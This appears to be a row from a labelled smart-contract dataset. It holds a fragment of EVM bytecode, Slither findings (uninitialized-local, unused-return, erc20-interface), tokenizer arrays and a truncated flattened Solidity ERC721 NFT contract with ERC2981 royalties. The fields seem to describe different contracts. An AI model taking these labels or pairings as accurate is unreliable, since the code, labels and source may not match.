eeeeeeeeeeeeeeeee145b156126d0575047612745565b604080516370a0823160e01b815230600482015290516001600160a01b038516916370a08231916024808301926020929190829003018186803b15801561271657600080fd5b505afa15801561272a573d6000803e3d6000fd5b505050506040513d602081101561274057600080fd5b505190505b92915050565b80515b80156127875761277e82600183038151811061276657fe5b60200260200101516000612c6890919063ffffffff16565b6000190161274e565b5061279e60006001600160e01b0319813516612c68565b611aa760006001612c80565b801580612830575060408051636eb1769f60e11b81523060048201526001600160a01b03848116602483015291519185169163dd62ed3e91604480820192602092909190829003018186803b15801561280257600080fd5b505afa158015612816573d6000803e3d6000fd5b505050506040513d602081101561282c57600080fd5b5051155b61286b5760405162461bcd60e51b81526004018080602001828103825260368152602001806130ce6036913960400191505060405180910390fd5b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663095ea7b360e01b17905261116f908490612cb6565b611aa7600082612d67565b60006128d382612d89565b9050818054806128df57fe5b60019003818190600052602060002001600090559055919050565b6000612905306125bc565b9050806001600160a01b0316631cff79cd61291e611941565b63493c2049734678f0a6958e4d2bc4f1baf7bc52e8f3564f3fe4612940612363565b8761294961237b565b60405160240180856001600160a01b03168152602001846001600160a01b03168152602001838152602001826001600160a01b031681526020019450505050506040516020818303038152906040529060e01b6020820180516001600160e01b0383818316178352505050506040518363ffffffff1660e01b815260040180836001600160a01b0316815260200180602001828103825283818151815260200191508051906020019080838360005b83811015612a105781810151838201526020016129f8565b50505050905090810190601f168015612a3d5780820380516001836020036101000a031916815260200191505b509350505050602060405180830381600087803b158015612a5d57600080fd5b505af1925050508015612a8257506040513d6020811015612a7d57600080fd5b505160015b61116f57612a8e612fd8565b80612a995750612acd565b612ac76040518060400160405280600c81526020016b05f7472616e736665724364760a41b815250826123ad565b50612afa565b612afa6040518060400160405280600c81526020016b05f7472616e736665724364760a41b815250612653565b5050565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b17905261116f908490612cb6565b6000908152602091909152604090205490565b60006123a860017ff9543f11459ccccd21306c8881aaab675ff49d988c1162fd1dd9bbcdbe4446be612b50565b606081612bb557506040805180820190915260018152600360fc1b602082015261264e565b6000825b8015612bcf5760019190910190600a9004612bb9565b5060608167ffffffffffffffff81118015612be957600080fd5b506040519080825280601f01601f191660200182016040528015612c14576020820181803683370190505b509050815b8015612c5e57600a850660300160f81b826001830381518110612c3857fe5b60200101906001600160f81b031916908160001a905350600a8504945060001901612c19565b50915061264e9050565b81546001810183556000928352602090922090910155565b81816002811115612c8d57fe5b81546001810183556000928352602090922060a09190911b6001600160a01b0319169101555050565b6060612d0b826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b0316612df19092919063ffffffff16565b80519091501561116f57808060200190516020811015612d2a57600080fd5b505161116f5760405162461bcd60e51b815260040180806020018281038252602a8152602001806130a4602a913960400191505060405180910390fd5b8154600181018355600092835260209092206001600160a01b03909116910155565b8054600090612dcd576040805162461bcd60e51b815260206004820152600b60248201526a737461636b20656d70747960a81b604482015290519081900360640190fd5b815482906000198101908110612ddf57fe5b90600052602060002001549050919050565b6060612e008484600085612e0a565b90505b9392505050565b606082471015612e4b5760405162461bcd60e51b815260040180806020018281038252602681526020018061307e6026913960400191505060405180910390fd5b612e5485612f66565b612ea5576040805162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000604482015290519081900360640190fd5b60006060866001600160a01b031685876040518082805190602001908083835b60208310612ee45780518252601f199092019160209182019101612ec5565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d8060008114612f46576040519150601f19603f3d011682016040523d82523d6000602084013e612f4b565b606091505b5091509150612f5b828286612f6c565b979650505050505050565b3b151590565b60608315612f7b575081612e03565b825115612f8b5782518084602001fd5b60405162461bcd60e51b8152602060048201818152845160248401528451859391928392604401919085019080838360008315612581578181015183820152602001612569565b60e01c90565b600060443d1015612fe8576105b8565b600481823e6308c379a0612ffc8251612fd2565b14613006576105b8565b6040513d600319016004823e80513d67ffffffffffffffff816024840111818411171561303657505050506105b8565b8284019250825191508082111561305057505050506105b8565b503d83016020828401011115613068575050506105b8565b601f01601f191681016020016040529150509056fe416464726573733a20696e73756666696369656e742062616c616e636520666f722063616c6c5361666545524332303a204552433230206f7065726174696f6e20646964206e6f7420737563636565645361666545524332303a20617070726f76652066726f6d206e6f6e2d7a65726f20746f206e6f6e2d7a65726f20616c6c6f77616e6365a26469706673582212200a3bb75b133236e33a9f15d1d1104974257d7b04d32fd882fa3325afe2972c5164736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}}
true
null
{'detectors': [{'check': 'uninitialized-local', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'erc20-interface', 'impact': 'Medium', 'confidence': 'High'}]}
[ 101, 1014, 2595, 2683, 26187, 2050, 26187, 22367, 17134, 2620, 2063, 2581, 2094, 2683, 4783, 2629, 2497, 22610, 20842, 3540, 2094, 24096, 2620, 2683, 2581, 2063, 2549, 3540, 2581, 16409, 2509, 1013, 1013, 5371, 1024, 8311, 1013, 5622, 2497, 1013, 5622, 5910, 2696, 3600, 1012, 14017, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1020, 1012, 1014, 1025, 3075, 5622, 5910, 2696, 3600, 1063, 3853, 2275, 4215, 16200, 4757, 1006, 27507, 16703, 1031, 1033, 5527, 1035, 9991, 1010, 4769, 1035, 7953, 1007, 4722, 1063, 1035, 9991, 1012, 5245, 1006, 27507, 16703, 1006, 21318, 3372, 17788, 2575, 1006, 21318, 3372, 16048, 2692, 1006, 1035, 7953, 1007, 1007, 1007, 1007, 1025, 1065, 3853, 2275, 1006, 27507, 16703, 1031, 1033, 5527, 1035, 9991, 1010, 27507, 16703, 1035, 7953, 1007, 4722, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,190
0x965a7a6898d81d23d5c676c20d05ed0b50717b51
// SPDX-License-Identifier: MIT // File: contracts/IERC2981Royalties.sol pragma solidity ^0.8.0; /// @title IERC2981Royalties /// @dev Interface for the ERC2981 - Token Royalty standard interface IERC2981Royalties { /// @notice Called with the sale price to determine how much royalty // is owed and to whom. /// @param _tokenId - the NFT asset queried for royalty information /// @param _value - the sale price of the NFT asset specified by _tokenId /// @return _receiver - address of who should be sent the royalty payment /// @return _royaltyAmount - the royalty payment amount for value sale price function royaltyInfo(uint256 _tokenId, uint256 _value) external view returns (address _receiver, uint256 _royaltyAmount); } // File: @openzeppelin/contracts/utils/Strings.sol pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File: @openzeppelin/contracts/utils/Context.sol pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/access/Ownable.sol pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File: @openzeppelin/contracts/utils/Address.sol pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // File: @openzeppelin/contracts/utils/introspection/IERC165.sol pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/utils/introspection/ERC165.sol pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: contracts/ERC2981Base.sol pragma solidity ^0.8.0; /// @dev This is a contract used to add ERC2981 support to ERC721 and 1155 abstract contract ERC2981Base is ERC165, IERC2981Royalties { /// @inheritdoc ERC165 function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC2981Royalties).interfaceId || super.supportsInterface(interfaceId); } /// @notice Uses Bitpacking to encode royalties into one bytes32 (saves gas) /// @return the bytes32 representation function encodeRoyalties(address recipient, uint256 amount) public pure returns (bytes32) { require(amount <= 10000, '!WRONG_AMOUNT!'); return bytes32((uint256(uint160(recipient)) << 96) + amount); } /// @notice Uses Bitpacking to decode royalties from a bytes32 /// @return recipient and amount function decodeRoyalties(bytes32 royalties) public pure returns (address recipient, uint256 amount) { recipient = address(uint160(uint256(royalties) >> 96)); amount = uint256(uint96(uint256(royalties))); } } // File: contracts/ERC2981ContractWideRoyalties.sol pragma solidity ^0.8.0; /// @dev This is a contract used to add ERC2981 support to ERC721 and 1155 /// @dev This implementation has the same royalties for each and every tokens abstract contract ERC2981ContractWideRoyalties is ERC2981Base { bytes32 private _royalties; /// @dev Sets token royalties /// @param recipient recipient of the royalties /// @param value percentage (using 2 decimals - 10000 = 100, 0 = 0) function _setRoyalties(address recipient, uint256 value) internal { require(value <= 10000, 'ERC2981Royalties: Too high'); _royalties = encodeRoyalties(recipient, value); } /// @inheritdoc IERC2981Royalties function royaltyInfo(uint256, uint256 value) external view override returns (address receiver, uint256 royaltyAmount) { uint256 basis; (receiver, basis) = decodeRoyalties(_royalties); royaltyAmount = (value * basis) / 10000; } } // File: @openzeppelin/contracts/token/ERC721/IERC721.sol pragma solidity ^0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File: @openzeppelin/contracts/token/ERC721/ERC721.sol pragma solidity ^0.8.0; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the 